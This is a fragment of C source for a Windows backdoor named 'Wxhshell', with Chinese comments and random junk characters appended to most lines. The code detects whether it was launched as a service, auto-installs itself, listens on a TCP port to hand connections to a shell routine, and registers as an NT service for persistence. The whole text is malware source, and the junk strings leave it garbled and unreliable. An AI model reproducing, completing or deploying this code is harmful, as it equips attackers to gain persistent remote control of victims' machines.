ULONG UniqueProcessId; !F{ 5"$
ULONG InheritedFromUniqueProcessId; * wN+Ak q
} PROCESS_BASIC_INFORMATION; UP:+1Sp9
&libC>a[
PROCNTQSIP NtQueryInformationProcess; x@bZ((w
WU1I>i
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F'ZLN]"{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .ao'o,|vE
5v8&C2Jy@
HANDLE hProcess; Ch
` Omq
PROCESS_BASIC_INFORMATION pbi; (mHFyEG
-W>zON|l
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lkp!S3,
if(NULL == hInst ) return 0; IsO'aFK)ln
AX8;x1t^.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _-g:T
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ai iOs?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WPyd ^Y<
ee&QZVL>
if (!NtQueryInformationProcess) return 0; $Vp&Vc8
De|@}@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PpN+q:(
if(!hProcess) return 0; WT(R =bLw
U^ BB|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xtU)3I=F%
:i*JlKHJd
CloseHandle(hProcess); cd}TDd(H%
V]}/e!XK\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #UU}lG
if(hProcess==NULL) return 0; K@*m6)
'rf='Y
HMODULE hMod; M:?eK
[h
char procName[255]; M 0->
unsigned long cbNeeded; |6\ ?"#
_}Jz_RS2`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yl1@gw7
zEY
Ey1
CloseHandle(hProcess); Y_PCL9G{p
9>le-}~
if(strstr(procName,"services")) return 1; // 以服务启动 'ESy>wA{y<
)+w0NhJw
return 0; // 注册表启动 r3ZY`zf
} #eE:hiu<v
"DWw1{ 5/
// 主模块 oB3>0Pm*a.
int StartWxhshell(LPSTR lpCmdLine) 2ok>z$Y
{ ..;LU:F
SOCKET wsl; (B]Vw+/
BOOL val=TRUE; L0|Vc9
int port=0; nC`#Hm.V%
struct sockaddr_in door; Tjure]wQz
*GuCv3|
if(wscfg.ws_autoins) Install(); IG +nrTY0
}SpMHR`
port=atoi(lpCmdLine); ?Pmj }f
iCk34C7
if(port<=0) port=wscfg.ws_port; biGaP#"0
n2,b~S\e
WSADATA data; L6$,<}l
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1Sz5&jz
v}[KVwse
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8qBRO[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *JO"8iLw
door.sin_family = AF_INET; XA9$n_|bw
door.sin_addr.s_addr = inet_addr("127.0.0.1"); +}4vdi"
door.sin_port = htons(port); ,O
a)
oF
V9t{~j
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [W{`L_"
closesocket(wsl); x+yt|
&B
return 1; Q'~;RE%T
} :g<dwuVO
:Np&G4IM>
if(listen(wsl,2) == INVALID_SOCKET) { Ev0V\tl>0
closesocket(wsl); XfbkK )d
return 1; `!m+g0
} ['-ln)96.
Wxhshell(wsl); N.eSf
WSACleanup(); 7SAu">lIl
oL}FD !}
return 0; z=)5M*h
"P<~bw5
} &B3\;|\
,{z$M
// 以NT服务方式启动 >wcsJ{I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k~=-o>}C
{ |BYD] vK
DWORD status = 0; SCxzT}#J
DWORD specificError = 0xfffffff; <;9vwSH>
b@,=;Y)O
serviceStatus.dwServiceType = SERVICE_WIN32; ,b{G(sF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; RSmxwx^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MiOSSl};
serviceStatus.dwWin32ExitCode = 0; zi*D8!_C
serviceStatus.dwServiceSpecificExitCode = 0; e4CG=K3s
serviceStatus.dwCheckPoint = 0; L4kYF~G:4
serviceStatus.dwWaitHint = 0; r="X\ [on
5+3Z?|b
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?wwY8e?S
if (hServiceStatusHandle==0) return; fXL>L
l@#X]3h!
status = GetLastError(); zO)9(%LS
if (status!=NO_ERROR) PVEEKKJP]J
{ j1d#\
serviceStatus.dwCurrentState = SERVICE_STOPPED; }
A#C
serviceStatus.dwCheckPoint = 0; Vi#(x9.
serviceStatus.dwWaitHint = 0; ~q|^z[7
serviceStatus.dwWin32ExitCode = status; v/yk T9@;
serviceStatus.dwServiceSpecificExitCode = specificError; ;oR-\;]/.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ITbl%q
return; l^0
<a<P
} $g|g}>Sc
QT%&vq
serviceStatus.dwCurrentState = SERVICE_RUNNING; &]z2=\^e
serviceStatus.dwCheckPoint = 0; |Z2_1(
ku
serviceStatus.dwWaitHint = 0; Ld`~^<